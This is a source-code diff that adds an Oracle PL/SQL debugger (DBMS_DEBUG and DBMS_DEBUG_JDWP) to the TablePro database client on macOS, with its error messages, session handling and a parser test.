+        #expect(candidates.map(\.lookupName) == ["\"p.in\"", "\"a.b\"", "\"lower\"", "\"with space\"", "L_PLAIN", "\"i.x\""])
+        #expect(scan.packageVariables.map(\.name) == ["g.Rate"])
+        #expect(scan.packageVariables.map(\.lookupName) == ["\"g.Rate\""])
+    }
+
+    // A specification's forward declarations are not definitions, and their parameters are nobody's locals.
+    @Test func testASpecificationListsOnlyItsVariables() {
+        let scan = OraclePLSQLDeclarationScan(source: """
+            package pkg_calc as
+              g_spec_count pls_integer := 0;
+              function add_tax(p_amount number) return number;
+              procedure run(p_n pls_integer);
+            end pkg_calc;
+            """)
+        #expect(scan.packageVariables.map(\.name) == ["G_SPEC_COUNT"])
+        #expect(scan.declarations.allSatisfy { $0.kind != .parameter })
+        #expect(scan.headerLines(ofSubprogramNamed: "RUN").isEmpty)
+    }
+}
diff --git a/apple/Plugins/OracleDriverPlugin/OracleDebugText.swift b/apple/Plugins/OracleDriverPlugin/OracleDebugText.swift
new file mode 100644
index 0000000000..a9df97cc7b
--- /dev/null
+++ b/apple/Plugins/OracleDriverPlugin/OracleDebugText.swift
@@ -0,0 +1,258 @@
+//
+//  OracleDebugText.swift
+//  OracleDriverPlugin
+//
+
+import Foundation
+import TableProOracleCore
+import TableProPluginKit
+
+struct OracleDebugPluginError: Error, PluginDriverError {
+    let message: String
+    var detail: String?
+
+    var pluginErrorMessage: String { message }
+    var pluginErrorDetail: String? { detail }
+}
+
+// Everything the Oracle debugger says to a person, worded once.
+enum OracleDebugText {
+    static let fallbackSuffix = String(localized: "Debugging through DBMS_DEBUG instead.")
+
+    static func kindName(_ kind: OracleDebugUnitKind) -> String {
+        switch kind {
+        case .procedure: return String(localized: "Procedure")
+        case .function: return String(localized: "Function")
+        case .package, .packageBody: return String(localized: "Package")
+        case .trigger: return String(localized: "Trigger")
+        case .type, .typeBody: return String(localized: "Type")
+        }
+    }
+
+    static func unitUnreadable(_ name: String) -> String {
+        String(format: String(localized: "TablePro can't read %@. Check that this account can see its source."), name)
+    }
+
+    static func noEntryPoints(_ name: String) -> String {
+        String(format: String(localized: "%@ has no public procedure or function to start from."), name)
+    }
+
+    static func invalidPorts(_ text: String) -> String {
+        String(format: String(localized: "“%@” isn't a port or a range of ports, such as 4000-4999."), text)
+    }
+
+    static func line(for notice: OracleDebugNotice) -> String {
+        switch notice {
+        case let .connectedOverJDWP(host, port):
+            return String(format: String(localized: "Debugging through DBMS_DEBUG_JDWP. The database connected to TablePro at %@."), "\(host):\(port)")
+        case let .fellBack(failure, host, port):
+            return jdwpFailureSentence(failure, host: host, port: port) + " " + fallbackSuffix
+        case .usingDBMSDebug(.chosen):
+            return String(localized: "Debugging through DBMS_DEBUG.")
+        case .usingDBMSDebug(.noDebuggerHost):
+            return String(localized: "No debugger host is set, so the database can't connect back to TablePro. Debugging through DBMS_DEBUG.")
+        case let .breakpointHasNoCode(unit, line):
+            return String(format: String(localized: "Line %1$d of %2$@ has no code to stop at."), line, unit.name)
+        case let .breakpointMoved(unit, from, to):
+            return String(
+                format: String(localized: "The breakpoint on line %1$d of %2$@ moved to line %3$d, the next line with code."),
+                from, unit.name, to
+            )
+        case .serverOutput(let text):
+            return text
+        }
+    }
+
+    private static func jdwpFailureSentence(_ failure: OracleJDWPFailure, host: String, port: Int) -> String {
+        let address = port > 0 ? "\(host):\(port)" : host
+        switch failure {
+        case .accessControlList:
+            return String(format: String(localized: """
+                The database isn't allowed to connect to TablePro at %@ (ORA-24247). A DBA can allow it with \
+                DBMS_NETWORK_ACL_ADMIN.APPEND_HOST_ACE and the jdwp privilege.
+                """), address)
+        case .unreachable:
+            return String(format: String(localized: "The database couldn't reach TablePro at %@."), address)
+        case .packageUnavailable:
+            return String(localized: "This database doesn't provide DBMS_DEBUG_JDWP.")
+        case .timedOut:
+            return String(format: String(localized: "The database didn't connect to TablePro at %@ in time."), address)
+        case .noFreePort:
+            return String(localized: "No port in the Debugger Ports range is free on this Mac.")
+        case .handshakeFailed:
+            return String(localized: "The connection from the database didn't complete the debugger handshake.")
+        case .noDebuggerHost:
+            return String(localized: "DBMS_DEBUG_JDWP needs a Debugger Host for the database to connect back to.")
+        case .unexpectedPeer(let addresses):
+            return String(
+                format: String(localized: "A connection came from %@, which isn't the database server's address, so TablePro closed it."),
+                addresses.joined(separator: ", ")
+            )
+        case .missingPrivilege:
+            return String(localized: "Debugging needs the DEBUG CONNECT SESSION privilege.")
+        case .other(let message):
+            return message
+        }
+    }
+
+    static func error(for missing: OracleDebugStatements.MissingPrivilege, unit: OracleDebugUnit) -> OracleDebugPluginError {
+        switch missing {
+        case .debugConnectSession(let user):
+            return OracleDebugPluginError(
+                message: String(localized: "Debugging needs the DEBUG CONNECT SESSION privilege."),
+                detail: String(format: String(localized: "A DBA can grant it with GRANT DEBUG CONNECT SESSION TO %@."), user)
+            )
+        case .debugOnObject(let user):
+            let qualified = "\(unit.owner).\(unit.name)"
+            return OracleDebugPluginError(
+                message: String(format: String(localized: "Debugging %@ needs the DEBUG privilege on it."), qualified),
+                detail: String(
+                    format: String(localized: "A DBA can grant it with GRANT DEBUG ON %1$@ TO %2$@, or grant DEBUG ANY PROCEDURE."),
+                    qualified, user
+                )
+            )
+        }
+    }
+
+    static func error(for error: Error, host: String?) -> Error {
+        if error is OracleDebugPluginError || error is OraclePluginError || error is CancellationError { return error }
+        if let core = error as? OracleCoreError { return core.asPluginError }
+        if error is OracleJDWPError || error is OracleJDWPListenerError {
+            return OracleDebugPluginError(message: String(localized: "The database's debugger sent data TablePro can't read, so the session ended."))
+        }
+        if error is OracleDebugPayload.ParseError {
+            return OracleDebugPluginError(message: String(localized: "The database answered the debugger with data TablePro can't read."))
+        }
+        guard let debug = error as? OracleDebugError else {
+            return OracleDebugPluginError(message: String(localized: "The debugger couldn't finish this step."), detail: error.localizedDescription)
+        }
+        switch debug {
+        case .privilegeMissing(let message):
+            return OracleDebugPluginError(
+                message: String(localized: "Debugging needs the DEBUG CONNECT SESSION privilege."),
+                detail: message
+            )
+        case .server(_, let message):
+            return OracleDebugPluginError(message: String(localized: "The debugger couldn't start."), detail: message)
+        case .jdwp(.missingPrivilege):
+            return OracleDebugPluginError(
+                message: String(localized: "Debugging needs the DEBUG CONNECT SESSION privilege."),
+                detail: nil
+            )
+        case .jdwp(let failure):
+            return OracleDebugPluginError(
+                message: jdwpFailureSentence(failure, host: host ?? "", port: 0),
+                detail: jdwpFailureAdvice(failure)
+            )
+        case .notPaused, .ended:
+            return OracleDebugPluginError(message: String(localized: "The debug session has ended."))
+        case let .unsupportedArgument(name, typeName):
+            return OracleDebugPluginError(
+                message: String(format: String(localized: "TablePro can't turn text into a %2$@ value for %1$@."), name, typeName),
+                detail: String(localized: "Pass NULL or leave it at its default.")
+            )
+        case let .undeclarableArgument(name, typeName):
+            return OracleDebugPluginError(
+                message: String(format: String(localized: "TablePro can't pass any value of type %2$@ to %1$@."), name, typeName),
+                detail: String(localized: "Debug it from a routine that calls it with that value.")
+            )
+        case let .ambiguousDefaults(subprogram, parameters):
+            // String(localized:) does not inflect, so the plural is its own key.
+            let format = parameters.count == 1
+                ? String(localized: "Give %1$@ a value. Left at its default, the call also matches another overload of %2$@.")
+                : String(localized: "Give %1$@ values. Left at their defaults, the call also matches another overload of %2$@.")
+            return OracleDebugPluginError(
+                message: String(format: format, ListFormatter.localizedString(byJoining: parameters), subprogram),
+                detail: String(localized: "Oracle can't tell the overloads apart without it (PLS-00307), and TablePro can't read the default to pass it.")
+            )
+        case .ambiguousCall(let subprogram):
+            return OracleDebugPluginError(
+                message: String(format: String(localized: "This call matches more than one overload of %@, so Oracle can't run it (PLS-00307)."), subprogram),
+                detail: String(localized: "Debug it from a routine that calls it with arguments only this overload takes.")
+            )
+        case .unitNotFound:
+            return OracleDebugPluginError(message: String(localized: "TablePro can't read this unit's source."))
+        case .malformedReply:
+            return OracleDebugPluginError(message: String(localized: "The database's debugger sent data TablePro can't read, so the session ended."))
+        case .debuggerStoppedAnswering:
+            return OracleDebugPluginError(message: String(localized: "The database's debugger stopped answering, so the session ended."))
+        case .debuggerRefused(let code):
+            return OracleDebugPluginError(
+                message: String(localized: "The database's debugger refused the request."),
+                detail: String(format: String(localized: "JDWP error %d."), code)
+            )
+        case .unreadableAnswer:
+            return OracleDebugPluginError(message: String(localized: "The database answered the debugger with data TablePro can't read."))
+        }
+    }
+
+    // What the person can do about each way the database failed to connect back.
+    static func jdwpFailureAdvice(_ failure: OracleJDWPFailure) -> String? {
+        switch failure {
+        case .accessControlList:
+            return String(localized: "Or choose DBMS_DEBUG as the protocol, which needs no ACL entry.")
+        case .unreachable(let message):
+            return message + "\n" + String(localized: "Set Debugger Host to an address the server can reach, or choose DBMS_DEBUG as the protocol.")
+        case .timedOut:
+            return String(localized: "Set Debugger Host to an address the server can reach, or choose DBMS_DEBUG as the protocol.")
+        case .packageUnavailable, .handshakeFailed:
+            return String(localized: "Choose DBMS_DEBUG as the protocol.")
+        case .noFreePort:
+            return String(localized: "Choose other Debugger Ports, or DBMS_DEBUG as the protocol.")
+        case .noDebuggerHost:
+            return String(localized: "Set Debugger Host to an address the database server can reach this Mac at, or choose DBMS_DEBUG as the protocol.")
+        case .unexpectedPeer:
+            return String(localized: "If the server reaches this Mac through NAT or a load balancer, choose DBMS_DEBUG as the protocol.")
+        case .missingPrivilege:
+            return nil
+        case .other(let message):
+            return message
+        }
+    }
+
+    static func failure(_ failure: OracleDebugFailure) -> (message: String, detail: String?) {
+        switch failure {
+        case .routineFailed(let message):
+            return (String(localized: "The routine raised an error. Its changes were rolled back."), message.isEmpty ? nil : message)
+        case .stopped:
+            return (String(localized: "Stopped. The routine's changes were rolled back."), nil)
+        case .stillRunning(let identity):
+            let text = stillRunning(identity)
+            return (text.message, text.detail)
+        case .connectionLost(let message):
+            return (String(localized: "The debug session's connection closed."), message)
+        }
+    }
+
+    static func stillRunning(_ identity: OracleDebugSessionIdentity?) -> (message: String, detail: String) {
+        let message = String(localized: "TablePro couldn't confirm that the routine ended. It may still be running on the server.")
+        let rollback = String(localized: "Its uncommitted work rolls back when it ends.")
+        guard let identity else {
+            return (message, rollback + " " + String(localized: "A user with ALTER SYSTEM can find its session in V$SESSION and end it with ALTER SYSTEM KILL SESSION."))
+        }
+        guard let serial = identity.serial, let kill = OracleDBMSDebugStatements.killSession(identity) else {
+            return (message, String(format: String(localized: "Session SID %d. %@"), identity.sid, rollback))
+        }
+        return (message, String(
+            format: String(localized: "Session SID %1$d, SERIAL# %2$d. %3$@ A user with ALTER SYSTEM can end it now with %4$@."),
+            identity.sid, serial, rollback, kill
+        ))
+    }
+
+    // Nil is SQL NULL, so a value the debugger can't read is said in words.
+    static func text(for value: OracleDebugValue) -> String? {
+        switch value {
+        case .scalar(let text):
+            return text
+        case .record(let members):
+            return "(" + members.map { "\($0.name) => \($0.value ?? "NULL")" }.joined(separator: ", ") + ")"
+        case .collection(let count):
+            guard let count else { return String(localized: "Collection") }
+            // String(localized:) does not inflect, so the singular is its own key.
+            if count == 1 { return String(localized: "Collection of 1 element") }
+            return String(format: String(localized: "Collection of %d elements"), count)
+        case .unavailable:
+            return String(localized: "Not readable")
+        }
+    }
+}
diff --git a/apple/Plugins/OracleDriverPlugin/OraclePlugin.swift b/apple/Plugins/OracleDriverPlugin/OraclePlugin.swift
index 07d7a583c3..1a7b758383 100644
--- a/apple/Plugins/OracleDriverPlugin/OraclePlugin.swift
+++ b/apple/Plugins/OracleDriverPlugin/OraclePlugin.swift
@@ -189,11 +189,12 @@ private extension SQLOperatorDescriptor {
 }
 
 final class OraclePluginDriver: PluginDatabaseDriver, @unchecked Sendable {
-    private let config: DriverConnectionConfig
+    let config: DriverConnectionConfig
     private(set) var core: OracleCoreConnection?
     private var _currentSchema: String?
     private var _serverVersion: String?
     let principalState = OSAllocatedUnfairLock(initialState: OraclePrincipalState())
+    let debugState = OSAllocatedUnfairLock(initialState: OracleDebugState())
 
     private static let logger = Logger(subsystem: "com.TablePro", category: "OraclePluginDriver")
 
@@ -704,7 +705,7 @@ final class OraclePluginDriver: PluginDatabaseDriver, @unchecked Sendable {
 
     func fetchViewDefinition(view: String, schema: String?) async throws -> String {
         // ALL_VIEWS.TEXT is LONG (crashes OracleNIO). TEXT_VC is VARCHAR2(4000), safe.
-        // Do NOT use DBMS_METADATA.GET_DDL — wrong object type triggers ORA-31603
+        // Do NOT use DBMS_METADATA.GET_DDL: the wrong object type triggers ORA-31603,
         // which corrupts OracleNIO's connection state machine.
         let owner = effectiveSchema(schema)
         let result = try await execute(query: OracleSchemaQueries.viewDefinition(schema: owner, view: view))
diff --git a/apple/Plugins/OracleDriverPlugin/OraclePluginDriver+Debugging.swift b/apple/Plugins/OracleDriverPlugin/OraclePluginDriver+Debugging.swift
new file mode 100644
index 0000000000..aa0ed251b8
--- /dev/null
+++ b/apple/Plugins/OracleDriverPlugin/OraclePluginDriver+Debugging.swift
@@ -0,0 +1,279 @@
+//
+//  OraclePluginDriver+Debugging.swift
+//  OracleDriverPlugin
+//
+
+import Foundation
+import os
+import TableProOracleCore
+import TableProPluginKit
+
+extension OraclePluginDriver: PluginRoutineDebugging {
+    var canDebugRoutines: Bool { true }
+
+    func debugTarget(for routine: PluginRoutineInfo) -> PluginDebugTarget? {
+        let kind: OracleDebugUnitKind
+        switch routine.kind {
+        case .procedure: kind = .procedure
+        case .function: kind = .function
+        @unknown default: return nil
+        }
+        if let language = routine.language, language.uppercased() != "PL/SQL" { return nil }
+        let owner = effectiveSchema(routine.schema?.isEmpty == false ? routine.schema : nil)
+        return Self.debugTarget(OracleDebugUnit(owner: owner, name: routine.name, kind: kind))
+    }
+
+    func debugTargets(schema: String?) async throws -> [PluginDebugTarget] {
+        let owner = effectiveSchema(schema?.isEmpty == false ? schema : nil)
+        let rows = try await rawQuery(OracleDebugStatements.targets(owner: owner)).rows
+        return rows.compactMap { row in
+            guard let name = row.first?.stringValue,
+                  let kind = row.count > 1 ? row[1].stringValue.flatMap(OracleDebugUnitKind.init(rawValue:)) : nil
+            else { return nil }
+            return Self.debugTarget(OracleDebugUnit(owner: owner, name: name, kind: kind))
+        }
+    }
+
+    func prepareDebug(_ target: PluginDebugTarget) async throws -> PluginDebugPlan {
+        guard let unit = OracleDebugUnit(identity: target.identity) else {
+            throw OracleDebugPluginError(message: OracleDebugText.unitUnreadable(target.name))
+        }
+        let privileges = try await rawQuery(OracleDebugStatements.privileges(of: unit)).rows.first?.map(\.stringValue) ?? []
+        if let missing = OracleDebugStatements.missingPrivilege(fromRow: privileges, unit: unit) {
+            throw OracleDebugText.error(for: missing, unit: unit)
+        }
+        let readinessRow = try await rawQuery(OracleDebugStatements.readiness(of: unit)).rows.first?.map(\.stringValue)
+        let preparation: PluginDebugPreparation?
+        switch OracleDebugStatements.readiness(fromRow: readinessRow) {
+        case .notVisible:
+            throw OracleDebugPluginError(message: OracleDebugText.unitUnreadable(target.name))
+        case .ready:
+            preparation = nil
+        case .needsDebugCompile:
+            preparation = PluginDebugPreparation(
+                message: String(format: String(localized: "%@ isn't compiled for debugging."), target.name),
+                informativeText: Self.compileForDebugText(unit.kind),
+                actionTitle: String(localized: "Compile for Debug"),
+                statements: [unit.kind.compileForDebugStatement(owner: unit.owner, name: unit.name)]
+            )
+        }
+        let rows = try await rawQuery(OracleDebugStatements.entryPoints(of: unit)).rows.map { $0.map(\.stringValue) }
+        let entryPoints = OracleDebugStatements.parseEntryPoints(rows: rows, unit: unit)
+        guard !entryPoints.isEmpty else {
+            throw OracleDebugPluginError(message: OracleDebugText.noEntryPoints(target.name))
+        }
+        debugState.withLock { state in
+            state.entryPoints = state.entryPoints.filter { $0.value.entry.unit != unit }
+            for entryPoint in entryPoints {
+                state.entryPoints[entryPoint.entry.identity] = entryPoint
+            }
+        }
+        return PluginDebugPlan(
+            target: target,
+            entryPoints: entryPoints.map(Self.pluginEntryPoint),
+            mayWrite: true,
+            preparation: preparation,
+            options: await debugOptions(),
+            note: String(localized: "Changes the routine makes are committed when it finishes. Stop rolls them back.")
+        )
+    }
+
+    func startDebug(
+        _ request: PluginDebugRequest,
+        sessions: any PluginDebugSessionSource
+    ) async throws -> any PluginDebugSession {
+        guard let entry = OracleDebugEntry(identity: request.entryPoint.identity) else {
+            throw OracleDebugPluginError(message: OracleDebugText.unitUnreadable(request.entryPoint.displayName))
+        }
+        let opener = OracleDebugSessionOpener(source: sessions)
+        let entryPoint: OracleDebugEntryPoint
+        let overloads: [OracleDebugEntryPoint]
+        let cached = debugState.withLock { state in
+            state.entryPoints[entry.identity].map { found in
+                (found, state.entryPoints.values.filter { $0.entry.unit == entry.unit && $0.entry.subprogram == entry.subprogram })
+            }
+        }
+        if let cached {
+            (entryPoint, overloads) = cached
+        } else {
+            (entryPoint, overloads) = try await opener.entryPoint(for: entry)
+        }
+        let values = request.optionValues
+        let preference = values[OracleDebugProtocolPreference.fieldID]
+            .flatMap(OracleDebugProtocolPreference.init(rawValue:)) ?? .automatic
+        let host: String
+        if let chosen = values[OracleDebugProtocolPreference.hostFieldID] {
+            host = chosen.trimmingCharacters(in: .whitespaces)
+        } else {
+            host = await defaultDebuggerHost()
+        }
+        let portsText = values[OracleDebugProtocolPreference.portsFieldID] ?? OracleDebugStatements.defaultPorts
+        guard let ports = OracleDebugStatements.ports(from: portsText.isEmpty ? OracleDebugStatements.defaultPorts : portsText) else {
+            throw OracleDebugPluginError(message: OracleDebugText.invalidPorts(portsText))
+        }
+        var arguments: [String: OracleDebugArgumentValue] = [:]
+        for argument in request.arguments {
+            switch argument.value {
+            case .text(let text): arguments[argument.parameterName] = .text(text)
+            case .null: arguments[argument.parameterName] = .null
+            case .defaultValue: arguments[argument.parameterName] = .defaultValue
+            @unknown default: arguments[argument.parameterName] = .null
+            }
+        }
+        let breakpoints = request.breakpoints.compactMap { breakpoint -> OracleDebugBreakpointRequest? in
+            OracleDebugUnit(identity: breakpoint.unitIdentity).map { OracleDebugBreakpointRequest(unit: $0, line: breakpoint.line) }
+        }
+        let launch = OracleDebugLaunch(
+            entryPoint: entryPoint,
+            arguments: arguments,
+            breakpoints: breakpoints,
+            preference: preference,
+            debuggerHost: host,
+            ports: ports,
+            databaseHost: config.host,
+            databasePort: config.port,
+            otherDatabaseHosts: tunneledHost.map { [$0] } ?? [],
+            overloads: overloads
+        )
+        do {
+            let engine = try await OracleDebugLauncher.launch(launch) { try await opener.open() }
+            return OracleRoutineDebugSession(engine: engine)
+        } catch {
+            throw OracleDebugText.error(for: error, host: host)
+        }
+    }
+
+    // MARK: - Helpers
+
+    // Recompiling a package body discards its state in every session using it; their next call fails once with
+    // ORA-04068.
+    static func compileForDebugText(_ kind: OracleDebugUnitKind) -> String {
+        let compile = String(localized: """
+            TablePro compiles it again with debug information (PLSQL_OPTIMIZE_LEVEL=1) and keeps its other settings. \
+            Compiling commits.
+            """)
+        guard kind.hasSubprograms else { return compile }
+        return compile + " " + String(localized: """
+            Other sessions using the package lose its state, and their next call to it fails once with ORA-04068.
+            """)
+    }
+
+    static func debugTarget(_ unit: OracleDebugUnit) -> PluginDebugTarget {
+        PluginDebugTarget(
+            identity: unit.identity,
+            name: unit.name,
+            schema: unit.owner,
+            kindDisplayName: OracleDebugText.kindName(unit.kind)
+        )
+    }
+
+    static func pluginEntryPoint(_ entryPoint: OracleDebugEntryPoint) -> PluginDebugEntryPoint {
+        PluginDebugEntryPoint(
+            identity: entryPoint.entry.identity,
+            displayName: entryPoint.displayName,
+            parameters: entryPoint.parameters.map { parameter in
+                let mode: PluginDebugParameterMode
+                switch parameter.mode {
+                case .input: mode = .input
+                case .output: mode = .output
+                case .inputOutput: mode = .inputOutput
+                }
+                return PluginDebugParameter(
+                    name: parameter.name,
+                    typeName: parameter.displayType,
+                    mode: mode,
+                    hasDefault: parameter.hasDefault
+                )
+            }
+        )
+    }
+
+    // Asked in the start sheet. A direct connection suggests the address this Mac reaches the database from; through
+    // a tunnel or proxy the server sees another host, so the field starts empty and DBMS_DEBUG runs.
+    private func debugOptions() async -> [ConnectionField] {
+        let jdwpProtocols = [OracleDebugProtocolPreference.automatic.rawValue, OracleDebugProtocolPreference.jdwp.rawValue]
+        return [
+            ConnectionField(
+                id: OracleDebugProtocolPreference.fieldID,
+                label: String(localized: "Protocol"),
+                defaultValue: OracleDebugProtocolPreference.automatic.rawValue,
+                fieldType: .dropdown(options: [
+                    ConnectionField.DropdownOption(
+                        value: OracleDebugProtocolPreference.automatic.rawValue,
+                        label: String(localized: "Automatic")
+                    ),
+                    ConnectionField.DropdownOption(value: OracleDebugProtocolPreference.jdwp.rawValue, label: "DBMS_DEBUG_JDWP"),
+                    ConnectionField.DropdownOption(value: OracleDebugProtocolPreference.dbmsDebug.rawValue, label: "DBMS_DEBUG")
+                ]),
+                section: .connection
+            ),
+            ConnectionField(
+                id: OracleDebugProtocolPreference.hostFieldID,
+                label: String(localized: "Debugger Host"),
+                placeholder: String(localized: "Address the database server can reach this Mac at"),
+                defaultValue: await defaultDebuggerHost(),
+                section: .connection,
+                visibleWhen: FieldVisibilityRule(fieldId: OracleDebugProtocolPreference.fieldID, values: jdwpProtocols)
+            ),
+            ConnectionField(
+                id: OracleDebugProtocolPreference.portsFieldID,
+                label: String(localized: "Debugger Ports"),
+                placeholder: OracleDebugStatements.defaultPorts,
+                defaultValue: OracleDebugStatements.defaultPorts,
+                section: .connection,
+                visibleWhen: FieldVisibilityRule(fieldId: OracleDebugProtocolPreference.fieldID, values: jdwpProtocols)
+            )
+        ]
+    }
+
+    // Behind a tunnel the session dials the forward's loopback address; the server itself is this host.
+    private var tunneledHost: String? {
+        guard let host = config.additionalFields["preTunnelHost"], !host.isEmpty else { return nil }
+        return host
+    }
+
+    private func defaultDebuggerHost() async -> String {
+        if tunneledHost != nil { return "" }
+        guard let route = await OracleDebugNetwork.localAddress(towardHost: config.host, port: config.port) else { return "" }
+        // `localhost` routes over ::1 first; a server on this Mac, or Docker Desktop's forward, reaches 127.0.0.1.
+        return OracleDebugNetwork.isLoopback(route) ? "127.0.0.1" : route
+    }
+}
+
+struct OracleDebugState: Sendable {
+    var entryPoints: [String: OracleDebugEntryPoint] = [:]
+}
+
+// Hands the launcher the sessions the host opens, keeping each one's Oracle connection.
+final class OracleDebugSessionOpener: @unchecked Sendable {
+    private let source: any PluginDebugSessionSource
+    private let lock = NSLock()
+    private var opened: [OracleCoreConnection] = []
+
+    init(source: any PluginDebugSessionSource) {
+        self.source = source
+    }
+
+    func open() async throws -> OracleCoreConnection {
+        if let reused = lock.withLock({ opened.isEmpty ? nil : opened.removeFirst() }) {
+            return reused
+        }
+        let driver = try await source.openSession()
+        guard let oracle = driver as? OraclePluginDriver, let core = oracle.core, core.isConnected else {
+            throw OraclePluginError(core: .notConnected)
+        }
+        return core
+    }
+
+    // Read on the first debug session, which the launcher then takes as its own.
+    func entryPoint(for entry: OracleDebugEntry) async throws -> (OracleDebugEntryPoint, overloads: [OracleDebugEntryPoint]) {
+        let connection = try await open()
+        lock.withLock { opened.append(connection) }
+        let rows = try await connection.executeQuery(OracleDebugStatements.entryPoints(of: entry.unit)).rows
+        let entryPoints = OracleDebugStatements.parseEntryPoints(rows: rows.map { $0.map(\.stringValue) }, unit: entry.unit)
+        guard let entryPoint = entryPoints.first(where: { $0.entry == entry }) else {
+            throw OracleDebugPluginError(message: OracleDebugText.noEntryPoints(entry.subprogram))
+        }
+        return (entryPoint, entryPoints.filter { $0.entry.subprogram == entry.subprogram })
+    }
+}
diff --git a/apple/Plugins/OracleDriverPlugin/OracleRoutineDebugSession.swift b/apple/Plugins/OracleDriverPlugin/OracleRoutineDebugSession.swift
new file mode 100644
index 0000000000..94855be020
--- /dev/null
+++ b/apple/Plugins/OracleDriverPlugin/OracleRoutineDebugSession.swift
@@ -0,0 +1,157 @@
+//
+//  OracleRoutineDebugSession.swift
+//  OracleDriverPlugin
+//
+
+import Foundation
+import TableProOracleCore
+import TableProPluginKit
+
+final class OracleRoutineDebugSession: PluginDebugSession, @unchecked Sendable {
+    private let engine: any OracleDebugEngine
+    let output: AsyncStream<String>
+
+    // Step Out works on both: JDWP's OUT depth and DBMS_DEBUG's break_any_return each stop in the caller (measured).
+    let supportedCommands: Set<PluginDebugCommand> = [.continueExecution, .stepOver, .stepInto, .stepOut]
+
+    init(engine: any OracleDebugEngine) {
+        self.engine = engine
+        let notices = engine.notices
+        output = AsyncStream { continuation in
+            let task = Task {
+                for await notice in notices {
+                    continuation.yield(OracleDebugText.line(for: notice))
+                }
+                continuation.finish()
+            }
+            continuation.onTermination = { _ in task.cancel() }
+        }
+    }
+
+    func firstStop() async throws -> PluginDebugStop {
+        try await run { try await engine.firstStop() }
+    }
+
+    func perform(_ command: PluginDebugCommand) async throws -> PluginDebugStop {
+        let mapped: OracleDebugCommand
+        switch command {
+        case .continueExecution: mapped = .continueExecution
+        case .stepOver: mapped = .stepOver
+        case .stepInto: mapped = .stepInto
+        case .stepOut: mapped = .stepOut
+        @unknown default: mapped = .continueExecution
+        }
+        return try await run { try await engine.perform(mapped) }
+    }
+
+    private func run(_ body: () async throws -> OracleDebugStop) async throws -> PluginDebugStop {
+        do {
+            return Self.pluginStop(try await body())
+        } catch {
+            throw OracleDebugText.error(for: error, host: nil)
+        }
+    }
+
+    func source(of unit: PluginDebugUnit) async throws -> String {
+        guard let oracleUnit = OracleDebugUnit(identity: unit.identity) else {
+            throw OracleDebugPluginError(message: OracleDebugText.unitUnreadable(unit.displayName))
+        }
+        do {
+            return try await engine.source(of: oracleUnit)
+        } catch {
+            throw OracleDebugText.error(for: error, host: nil)
+        }
+    }
+
+    func stack() async throws -> [PluginDebugFrame] {
+        do {
+            return try await engine.stack().map { frame in
+                PluginDebugFrame(level: frame.level, location: Self.location(frame.location), arguments: frame.subprogram)
+            }
+        } catch {
+            throw OracleDebugText.error(for: error, host: nil)
+        }
+    }
+
+    func variables(inFrame level: Int) async throws -> [PluginDebugVariable] {
+        do {
+            return try await engine.variables(inFrame: level).map { variable in
+                let kind: PluginDebugVariableKind
+                switch variable.kind {
+                case .argument: kind = .argument
+                case .local: kind = .local
+                case .package: kind = .package
+                }
+                return PluginDebugVariable(
+                    name: variable.name,
+                    kind: kind,
+                    typeName: variable.typeName,
+                    value: OracleDebugText.text(for: variable.value),
+                    isConstant: variable.isConstant
+                )
+            }
+        } catch {
+            throw OracleDebugText.error(for: error, host: nil)
+        }
+    }
+
+    func setBreakpoint(_ breakpoint: PluginDebugBreakpoint) async throws -> PluginDebugBreakpoint? {
+        guard let unit = OracleDebugUnit(identity: breakpoint.unitIdentity) else { return nil }
+        do {
+            guard let line = try await engine.setBreakpoint(in: unit, line: breakpoint.line) else { return nil }
+            return PluginDebugBreakpoint(unitIdentity: breakpoint.unitIdentity, line: line)
+        } catch {
+            throw OracleDebugText.error(for: error, host: nil)
+        }
+    }
+
+    func removeBreakpoint(_ breakpoint: PluginDebugBreakpoint) async throws {
+        guard let unit = OracleDebugUnit(identity: breakpoint.unitIdentity) else { return }
+        do {
+            try await engine.removeBreakpoint(in: unit, line: breakpoint.line)
+        } catch {
+            throw OracleDebugText.error(for: error, host: nil)
+        }
+    }
+
+    func stop() async -> PluginDebugStopOutcome {
+        switch await engine.stop() {
+        case .ended:
+            return .ended
+        case .unconfirmed(let identity):
+            let text = OracleDebugText.stillRunning(identity)
+            return .unconfirmed(message: text.message, detail: text.detail)
+        }
+    }
+
+    static func location(_ location: OracleDebugLocation) -> PluginDebugLocation {
+        PluginDebugLocation(unit: unit(location.unit), line: location.line)
+    }
+
+    static func unit(_ unit: OracleDebugUnit) -> PluginDebugUnit {
+        let name = "\(unit.owner).\(unit.name)"
+        let displayName = unit.kind == .package || unit.kind == .type
+            ? String(format: String(localized: "%@ (specification)"), name)
+            : name
+        return PluginDebugUnit(identity: unit.identity, displayName: displayName)
+    }
+
+    static func pluginStop(_ stop: OracleDebugStop) -> PluginDebugStop {
+        switch stop {
+        case .paused(let location):
+            return .paused(Self.location(location))
+        case .finished(let outcome):
+            guard !outcome.values.isEmpty else { return .finished(nil) }
+            return .finished(PluginQueryResult(
+                columns: outcome.values.map(\.name),
+                columnTypeNames: outcome.values.map(\.typeName),
+                rows: [outcome.values.map { $0.value.map(PluginCellValue.text) ?? .null }],
+                rowsAffected: 0,
+                timing: PluginQueryTiming(total: 0)
+            ))
+        case .failed(let failure):
+            let text = OracleDebugText.failure(failure)
+            return .failed(message: text.message, detail: text.detail)
+        }
+    }
+}
diff --git a/apple/Plugins/PostgreSQLDriverPlugin/LibPQDriverCore.swift b/apple/Plugins/PostgreSQLDriverPlugin/LibPQDriverCore.swift
index 8ed4cfd180..4ac2de19bd 100644
--- a/apple/Plugins/PostgreSQLDriverPlugin/LibPQDriverCore.swift
+++ b/apple/Plugins/PostgreSQLDriverPlugin/LibPQDriverCore.swift
@@ -260,6 +260,18 @@ final class LibPQDriverCore: @unchecked Sendable {
         libpqConnection?.cancelCurrentQuery()
     }
 
+    func observeServerNotices(_ observer: (@Sendable (LibPQServerNotice) -> Void)?) {
+        libpqConnection?.observeServerNotices(observer)
+    }
+
+    func cancelQueryKeepingReply() {
+        libpqConnection?.requestServerCancelKeepingReply()
+    }
+
+    func interruptBlockedCallOnDisconnect() {
+        libpqConnection?.interruptBlockedCallOnDisconnect()
+    }
+
     func setPostgisOidMap(_ map: [UInt32: PostGISType]) {
         libpqConnection?.setPostgisOidMap(map)
     }
diff --git a/apple/Plugins/PostgreSQLDriverPlugin/LibPQPluginConnection.swift b/apple/Plugins/PostgreSQLDriverPlugin/LibPQPluginConnection.swift
index 67a12ea64d..42f3e0fa84 100644
--- a/apple/Plugins/PostgreSQLDriverPlugin/LibPQPluginConnection.swift
